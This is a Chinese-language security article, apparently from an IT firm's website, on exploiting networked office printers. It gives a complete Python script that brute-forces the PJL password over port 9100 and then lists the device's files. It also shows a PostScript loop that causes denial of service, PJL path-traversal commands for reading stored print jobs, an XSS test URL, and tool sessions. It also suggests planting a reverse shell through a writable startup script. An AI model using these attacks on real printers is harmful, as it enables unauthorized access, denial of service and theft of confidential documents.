發布源:深圳維創信息技術發布時間:2020-10-27 瀏覽次數: 次
一、前言經過最近一段時間測試,發現企業內網打印機存在多種數據泄露漏洞,同時也經常被大家所忽略,因此才有本文的研究。
當一臺打印機連接網絡,可以進行端口掃描、讀寫上傳惡意文件、反彈shell,相當于一臺服務器。
常見攻擊,信息泄露,如訪問內存,可能發現密碼或打印文件中的敏感數據,訪問文件系統,泄露配置文件或存儲的打印作業;DOS;遠程代碼執行漏洞RCE,通過緩沖區溢出漏洞,構造惡意數據包,使打印機執行惡意代碼,將固件更新為含有惡意的固件;打印任務控制,修改打印內容等。
二、打印機語言在研究打印機前有必要熟悉打印語言,網上各種介紹打印機語言,大家看的會比較混亂,比如有時候是打印機描述語言,有時候又叫打印機控制語言。
下面以本人的理解去介紹打印機語言,其實打印機語言按分類是有兩類,一種是頁面描述語言(PDL),另一種是嵌入式語言(Escape碼語言),而HP的PCL控制語言和PostScript(以下簡稱 PS)都屬于PDL頁面描述語言。
1. PS與PCL介紹PS、PCL等打印語言其實是一個命令集,它告訴打印機如何組織被打印的文檔。
打印機驅動程序把這些命令嵌在打印數據中傳給打印機,而不是單獨傳送,并由打印機的打印控制器再分開解釋。
PCL網上介紹的都差不多,PCL對計算機系統資源占用也較少,同時對字庫、圖像的解釋能力較強等,關鍵還是把本文前面部分弄懂,否則會很混亂,不利于對打印機的漏洞研究。
2. 對比PCL在處理文本、文檔方面比較出色(已支持圖形功能),速度明顯,但是打印質量與PS差距不大,PS在處理打印大的文件,如PDF、Photoshop等軟件下打印大的圖形圖像文件有速度優勢,準確度、色彩方面比PCL強。
所以 PCL語言適用于普通的商務辦公應用,PS適用于對圖形和色彩準確度要求比較高的專業應用。
3. 工作流程在計算機上將打印內容位圖格式解釋成標準的頁面描述文件,為PostScript、PCL等格式,這種文件被傳到打印機的控制器中,控制器將頁面描述文件,發送給光柵圖像處理器 (Raster Image Processor),把PostScript、PCL格式解釋成位圖格式,打印機才可以打印位圖格式的圖像。
4. PJL打印任務語言(PJL)用于指導打印機行為,利用PJL語言可以對打印任務執行管理性的更改設置,對打印文件形成有限管理控制,例如,在打印機文件系統下用戶不經常留意的以下特定位置中,它可對打印文件執行存儲刪除操作。
其它打印機語言是PCL的擴展,如打印機作業語言PJL是 PCL的擴展,用于控制打印機的行為,上面提到PCL只處理內容,擴展的PJL則可以永久性的修改設備的設置,如印紙張大小和數量。
而 PJL可以被用來執行DoS攻擊、打印頁面控制、讀取文件系統和內存,甚至惡意固件更新。
供應商往往只支持PJL 控制語言中的部分命令,并根據打印機的需要自行添加專有的功能。
5. PPDPS、PCL都是一種與設備無關的打印機語言,它們只處理打印的內容,而與設備相關的分辨率、紙張大小它們不處理。
PS 、PCL可以將打印內容解釋成頁面描述文件,這個文件會被控制器解析并打印。
但是對譬如分辨率、紙張大小、進紙盒進行選擇時,調用的是打印機描述(PostScript Printer Description ,即PPD)文件來實行各種打印機的不同特性,PS、PCL 語言在打印的時候,即定義圖像時根本不用去考慮打印機的分辨率、紙張大小,由打印機的PPD文件來決定,給處理字體帶來了極大的靈活性。
PPD文件主要提供以下與打印機有關的特定信息::默認/ 最高分辨率,是否支持半色調監控,用戶設定的監控信息,頁面大小定義,頁面可打印區域,默認字體(通常為Courier),是否支持雙面打印等等。
每一種不同的 PostScript打印機都分別對應有專門的PPD文件。
關于PostScript仿真,因為目前使用PostScrit語言需要向 Adobe公司支付一筆費用,成本較高,因此才有與PostScript完全兼容的PostScript仿真,像 HP公司的一些激光打印機中使用的PostScript仿真,也無需再支付Adobe公司相應的費用。
6. 利用PS可以用于各種攻擊,例如拒絕服務,打印作業處理和保留以及訪問打印機的文件系統等惡意操作。
打印機指令語言PCL很難被攻擊利用,該頁面描述語言不直接訪問底層文件系統,因此和PS相比,該描述語言并不是很適合用于攻擊的目的,不過PCL的擴展PJL容易受到攻擊,下文基本上是基于PJL。
三、 探測打印機1. namp-A 192.168.1.*主要查看開放哪些端口,并檢測操作系統指紋,一般開放如下端口、服務為打印機:2. Savins打印機發現SmartDeviceMonitor工具,可以搜索Savins打印機,去官網下載:3. JetDirect打印機JetAdminJetAdmin可用來控制、搜索JetDirect打印機,可快速找出子網中的JetDirect打印機,它通過SNMP廣播網絡來定位打印機。
4. ARP協議掃描NMAP、Cain,通過MAC地址發現 Hewlett Packard、Ricoh或其它廠商的MAC地址。
nmap-R192.168.1.0/245. 谷歌搜索打印機的WEB登陸鏈接放置在內網站點上,易于他們管理或存儲文檔,但有時內網并不是真正處于內網中,但可以通過互聯網訪問到。
Ricoh Savins(由于打印機頻繁地存儲文檔,導致被下載,這確實是一個真正的安全殺手):intitle:"webimagemonitor""/web/user/en/websys/webArch/mainFrame.cgi"inurl:"/en/sts_index.cgi"HPJetdirects(各型號均不相同)inurl:hp/device/this.LCDispatcherCUPSConnectedPrintersinurl:":631/printers"-php-demo6. 其它搜索shodan搜索,device:printer。
鐘馗之眼搜索,service:”jetdirect”。
四、漏洞挖掘
1. PJL密碼爆破若打印機的9100端口向公網開啟,在向打印機發送PJL指令之前需要對使用者的身份進行認證,認證程序的密鑰長度為2字節(Byte),通過爆破可以將 PJL 的密碼安全保護禁用,最終執行任意PJL命令。
如果直接通過9100端口執行PJL命令,說明存在未授權訪問。
PJL是打印控制語言PCL的擴展。
文章前面部分已經介紹過,這里是針對認證PJL的爆破,否則無法使用PJL命令。
危害:通過 PJL 除了能夠查看和更改打印機狀態之外,還可以對打印機內置的文件系統進行訪問,進而可繞過密碼驗證通過 PJL 對打印機內置的文件系統進行讀寫。
文件系統包含后臺處理打印作業、收到的傳真、日志文件和配置文件。
9100端口一般為JetDirect的端口,JetDirect雖然是惠普設計的,但是眾多打印機都使用該軟件,包括Canon、Lexmark、Samsung和Xerox。
該軟件負責處理通過網絡提交的打印請求。
網絡打印機通過JetDirect協議,偵聽,接收打印請求數據。
如下是PJL密碼存儲格式:@PJLJOBPASSWORD=0@PJLDEFAULTPASSWORD=12345@PJLDEFAULTDISKLOCK=ON@PJLDEFAULTCPLOCK=ON可通過 內存和文件系統讀取獲取密碼,或暴力破解。
爆破代碼python3如下:importsocketimportsysdefmain():iflen(sys.argv)<=1:print('Parameterserror')returns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.settimeout(10)s.connect((sys.argv[1],9100))s.settimeout(None)#發送讀取設備ID的PJL指令s.send(('33%-12345X@PJLINFOID\r\n33%-12345X\r\n').encode('UTF-8'))print(s.recv(1024).decode('UTF-8'))foriinrange(1,65536):buf=b''#發送重置密碼的PJL指令s.send(('33%-12345X@PJL\r\n@PJLJOBPASSWORD='+str(i)+'\r\n@PJLDEFAULTPASSWORD=0\r\n@PJLEOJ\r\n33%-12345X\r\n').encode('UTF-8'))ifi%30==0:#發送查詢密碼保護狀態的PJL指令s.send(('33%-12345X@PJL\r\n@PJLDINQUIREPASSWORD\r\n33%-12345X\r\n').encode('UTF-8'))whileTrue:buf+=s.recv(1)print(buf)try:buf.index(b'\r\n\x0c')try:#密碼保護被禁用buf.index(b'DISABLED')print('passworddisabledok!')#發送查詢目錄的PJL指令s.send(('33%-12345X@PJL\r\n@PJLFSDIRLISTNAME="0:\\"ENTRY=1COUNT=99\r\n33%-12345X\r\n').encode('UTF-8'))buf=b''whileTrue:buf+=s.recv(1)print(buf)try:buf.index(b'\r\n\x0c')try:#查詢成功buf.index(b'ENTRY')print('PoCOK!')returnexceptValueError:print('PoCNO!')returnexceptValueError:continueexceptValueError:print('passworddisabledfaild!')finally:s.close()returnexceptValueError:continues.close()if__name__=='__main__':main()pft使用此腳本爆破:返回password disabled ok!,說明成功禁用PJL密碼保護。
此腳本先爆破PFT密碼保護,如果爆破成功,然后執行查詢磁盤的PJL命令,當然也可只用PFT工具,文章后面部分會講PFT。
2. DOS當向打印機9100端口發送任何數據,打印機都可將其打印出來,文章前部分發現,9100端口還支持原始打印、PCL、PostScript和PJL,即可以通過9100端口執行PJL。
當執行DOS,則可無限循環打印任務,導致打印任務不斷執行,資源耗盡,無法執行打印操作。
按個人理解簡單點說,就是當發起打印任務時,打印機等任務發起結束,才會執行下一步的打印操作,如果一直循環打印任務,則無法到達下一步。
通過幾行PostScript代碼實現DOS。
PS代碼實現的循環:%!{}loop3. 路徑遍歷漏洞-案例分析這不是針對某個型號的漏洞,算是打印機的一個通用漏洞,可以通過../等進行目錄穿越,對文件進行讀取和寫入,不過并不是所有的目錄文件都可讀寫,當發現無法讀寫時,可繼續切換其它目錄測試,可能存在可讀寫的文件,從而泄露敏感文件,如“Jobs”目錄中存儲的就是打印任務,可以通過PFT 、PRET工具包讀取存儲在其中的任何打印任務。
如果允許 PJL 命令訪問該設備的文件系統,遠程攻擊者可以借助 PJL 讀取任意文件,遠程連接打印機并進行遍歷目錄操作。
這里借用個人之前的案例演示,通過9100端口執行PJL命令,并且未授權訪問打印機。
在學習之前,需要熟悉PJL命令。
如下是本人對PJL命令的整理:@PJLFSDELETENAME=“pathname”[<CR>]<LF>#刪除文件@PJLFSDOWNLOADFORMAT:BINARY[SIZE=int][<CR>]<LF>#下載文件到打印機@PJLFSINITVOLUME=“pathname”[<CR>]<LF>#初始化打印機文件系統@PJLFSMKDIRNAME=“pathname”[<CR>]<LF>#創建目錄@PJLDINQUIRECPLOCK#檢查控制面板狀態@PJLDINQUIREPASSWORD#檢查密碼保護狀態@PJLJOBPASSWORD=[Number:0to65535]#當前密碼保護密碼@PJLDEFAULTPASSWORD[Number:0to65535]#修改保護密碼@PJLDEFAULTCPLOCK=[ON,OFF]#控制面板狀態@PJLSETIOBUFFER=[ON,OFF,AUTO]#設置緩沖區@PJLSETIOSIZE=[10-100]#設置緩存區大小@PJLSETPCNAME=[String]#設置計算機名稱@PJLSETHOLD=[ON,JOB,STORE,PROOF]#設置文件保存@PJLSETHOLDKEY=[Number:0000to9999]#設置保存文件密碼@PJLDEFAULTDISKLOCK=[ON,OFF]#設置硬盤鎖定狀態@PJLSETSPOOLTIME#設置打印日期@PJLSETCOPIES#設置打印數@PJLSETJOBNAME#設置打印機文件名稱@PJLSETRESOLUTION#設置分辨率@PJLSETDRIVERNAME#設置驅動@PJLUSTATUSJOB#輸出隊列中還未打印任務的狀態@PJLCOMMENT#添加注釋@PJLSETOUTTRAY#出紙盤(紙張輸出位置)@PJLSETORIENTATION=[PORTRAIT,LANDSCAPE]#頁面方向@PJLSETDUPLEX=[ON,OFF]#雙工模式(雙面打印)@PJLSETBINDING=[LONGEDGE,SHORTEDGE]#雙工模式:短邊、長邊@PJLRNVRAMADDRESS#讀取內存@PJLOPMSGDISPLAY#設置打印機離線脫機@PJLSETSERVICEMODE#設置服務模式@PJLWNVRAMADDRESS#寫入內存@PJLFSDIRLISTNAME#讀取目錄@PJLFSQUERYNAME#讀取文件@PJLFSUPLOADNAME#文件上傳@PJLFSDOWNLOAD#寫入文件(1) @PJL FSDIRLIST NAME=”0:/” ENTRY=1 COUNT=1024上圖發現目錄名稱是 0:/,有兩個目錄,一個是本地目錄./,一個是../目錄。
(2) 讀取 ../ 目錄,發現其下有7個,./代表本目錄@PJLFSDIRLIST NAME=”0:/../” ENTRY=1 COUNT=1024發現有:.TYPE=DIR..TYPE=DIRDataTYPE=DIRJobsTYPE=DIRTempTYPE=DIRBrowserTYPE=DIRPDLTYPE=DIR(3) 讀取Data目錄發現有Data、jobs目錄,這里演示訪問其下的Data目錄,發現Data目錄存在這些目錄文件。
@PJLFSDIRLIST NAME=”0:/../data” ENTRY=1 COUNT=1024發現Data目錄存在這些目錄文件:.TYPE=DIR..TYPE=DIRDataContractTYPE=DIRCustomerDataDBTYPE=DIR總結:目錄遍歷除了可讀取文件之外,還可寫入,但是并不是所有的文件都可寫入,尋找可寫入的文件,如向啟動腳本寫入代碼,重啟即可執行代碼反彈shell,這里我當時時間有限,遍歷幾個目錄沒有發現啟動腳本,不然只要可寫入就能反彈shell。
路徑遍歷案例:中國移動某省公司打印機未授權訪問已成功下載移動內部資料(保密承諾書?)https://www.secpulse.com/archives/33663.html4. PFT工具根據文章前面部分,也大概知道了打印機攻擊是基于打印機語言命令,如輸入PJL命令造成相關,需要掌握PJL命令,輸入PJL命令比較麻煩,這里有一個強大的打印機框架工具PFT, 而使用PFT工具可以無需掌握PJL命令,每一個參數已內置打印機語言,只需要調用對應參數來利用,配合help查看。
使用教程:(1) PFT連接到打印機pft>server192.168.15.200Serversetto192.168.15.200pft>port9100Portsetto9100pft>connectConnectedto192.168.15.200:9100Device:hpLaserJet4250(2) PFT清除PJL程序保護清除成功之后,也能登錄web控制臺頁面。
pft>envbruteforcetry30INFO:force_recv_clear()timedoutfor270bytes(10sec)Passworddisabledsuccessfully(3) 查看硬盤文件一般高級的打印機會有硬盤,如下命令查看有哪些盤符。
pft>volumesVolumeSizeFreeLocationLabelStatus0:1261977611786240RAM?READ-WRITE(4) ls查看文件pft>ls0:\.-d..-dPostScript-dPJL-dsaveDevice-dwebServer-d(5) 將文件下載到本地get 文件名5. HP JetDirect打印機存儲型XSS攻擊者必須訪問HP鐳射打印機配置頁面,”Product_URL”和”Tech_URL”參數 存在漏洞,對應CVE號:CVE-2012-3272。
點擊WEB的“支持信息” 連接,按如下輸入:點擊“Apply”按鈕,跳轉到支持頁面中(support.htm),出現彈框。
測試方法:http://[server]/support_param.html/config?Admin_Name=&Admin_Phone=&Product_URL=[XSS]&Tech_URL=[XSS]&Apply=Apply6. 打印控制任務PERT連接到打印機,并嘗試利用打印機所使用的打印機語言(目前支持PS,PJL和PCL),如python pret.py IP PS可嘗試調用打印機PS語言進行操作,一旦使用PRET連接到打印機中的一個功能,我們將可以做很多事情。
例如檢查文件系統,創建目錄,更改配置文件、dump整個NVRAM。
如輸出打印“Foo”,執行cross topsecret Foo:打印如下:7. 固件漏洞如果打印機不存在PJL命令執行漏洞,可針對固件漏洞測試,通過nmap發現固件版本,Linux_Exploit_Suggester.pl查詢內核版本漏洞。
nmap掃描出如下:執行perl Linux_Exploit_Suggester.pl -k 2.6.31:PS:該工具只能查詢內核3.4.4之前的漏洞信息。
github下載:https://github.com/IntepSecureLabs/Linux_Exploit_Suggester五、總結從打印機語言到PJL命令執行等漏洞分析,包括打印機挖掘思路以及案例分析,總結了目前常見的打印機數據泄露漏洞,其它的高級應用也是基于這些原理基礎上,這里不講PRET工具使用,網上有很多PRET使用教程。
需要提醒一下,大家不要隨便亂用工具來掃打印機,否則會打印出很多請求數據包,浪費大量的紙張。
因為這些腳本在端口9100/tcp檢測系統版本時,會發送探針請求,判斷9100上運行的是何種服務,由于JetDirect并不知道它發送的是什么數據,因此會打印出探測報文,最后會打印出一堆垃圾數據。
Copyright © 2021 深圳市維創信息技術有限公司 版權所有